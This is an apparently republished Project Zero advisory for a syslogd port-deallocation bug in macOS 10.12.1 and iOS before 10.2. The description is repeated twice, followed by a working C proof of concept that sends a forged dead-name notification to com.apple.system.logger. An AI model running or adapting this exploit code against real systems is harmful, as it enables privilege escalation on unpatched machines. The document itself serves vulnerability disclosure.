macOS 10.12.1 / iOS < 10.2 - syslogd Arbitrary Port Replacement

2016-12-22 05:05:14

/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=977

syslogd (running as root) hosts the com.apple.system.logger mach service. It's part of the system.sb
sandbox profile and so reachable from a lot of sandboxed contexts.

Here's a snippet from its mach message handling loop listening on the service port:

ks = mach_msg(&(request->head), rbits, 0, rqs, global.listen_set, 0, MACH_PORT_NULL);
...
if (request->head.msgh_id == MACH_NOTIFY_DEAD_NAME)
{
deadname = (mach_dead_name_notification_t *)request;
dispatch_async(asl_server_queue, ^{
cancel_session(deadname->not_port);
/* dead name notification includes a dead name right */
mach_port_deallocate(mach_task_self(), deadname->not_port);
free(request);
});

An attacker with a send-right to the service can spoof a MACH_NOTIFY_DEAD_NAME message and cause an
arbitrary port name to be passed to mach_port_deallocate as deadname->not_port doesn't name a port right
but is a mach_port_name_t which is just a controlled integer.

An attacker could cause syslogd to free a privilged port name and get it reused to name a port for which
the attacker holds a receive right.

Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555)
*/

// ianbeer

#if 0
MacOS/iOS arbitrary port replacement in syslogd

syslogd (running as root) hosts the com.apple.system.logger mach service. It's part of the system.sb
sandbox profile and so reachable from a lot of sandboxed contexts.

Here's a snippet from its mach message handling loop listening on the service port:

ks = mach_msg(&(request->head), rbits, 0, rqs, global.listen_set, 0, MACH_PORT_NULL);
...
if (request->head.msgh_id == MACH_NOTIFY_DEAD_NAME)
{
deadname = (mach_dead_name_notification_t *)request;
dispatch_async(asl_server_queue, ^{
cancel_session(deadname->not_port);
/* dead name notification includes a dead name right */
mach_port_deallocate(mach_task_self(), deadname->not_port);
free(request);
});

An attacker with a send-right to the service can spoof a MACH_NOTIFY_DEAD_NAME message and cause an
arbitrary port name to be passed to mach_port_deallocate as deadname->not_port doesn't name a port right
but is a mach_port_name_t which is just a controlled integer.

An attacker could cause syslogd to free a privilged port name and get it reused to name a port for which
the attacker holds a receive right.

Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555)
#endif

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#include <servers/bootstrap.h>
#include <mach/mach.h>
#include <mach/ndr.h>

char* service_name = "com.apple.system.logger";

struct notification_msg {
mach_msg_header_t not_header;
NDR_record_t NDR;
mach_port_name_t not_port;
};

mach_port_t lookup(char* name) {
mach_port_t service_port = MACH_PORT_NULL;
kern_return_t err = bootstrap_look_up(bootstrap_port, name, &service_port);
if(err != KERN_SUCCESS){
printf("unable to look up %s\n", name);
return MACH_PORT_NULL;
}

return service_port;
}

int main() {
kern_return_t err;

mach_port_t service_port = lookup(service_name);

mach_port_name_t target_port = 0x1234; // the name of the port in the target namespace to destroy

printf("%d\n", getpid());
printf("service port: %x\n", service_port);

struct notification_msg not = {0};

not.not_header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
not.not_header.msgh_size = sizeof(struct notification_msg);
not.not_header.msgh_remote_port = service_port;
not.not_header.msgh_local_port = MACH_PORT_NULL;
not.not_header.msgh_id = 0110; // MACH_NOTIFY_DEAD_NAME

not.NDR = NDR_record;

not.not_port = target_port;

// send the fake notification message
err = mach_msg(&not.not_header,
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
(mach_msg_size_t)sizeof(struct notification_msg),
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
printf("fake notification message: %s\n", mach_error_string(err));

return 0;
}

Fixes

No fixes

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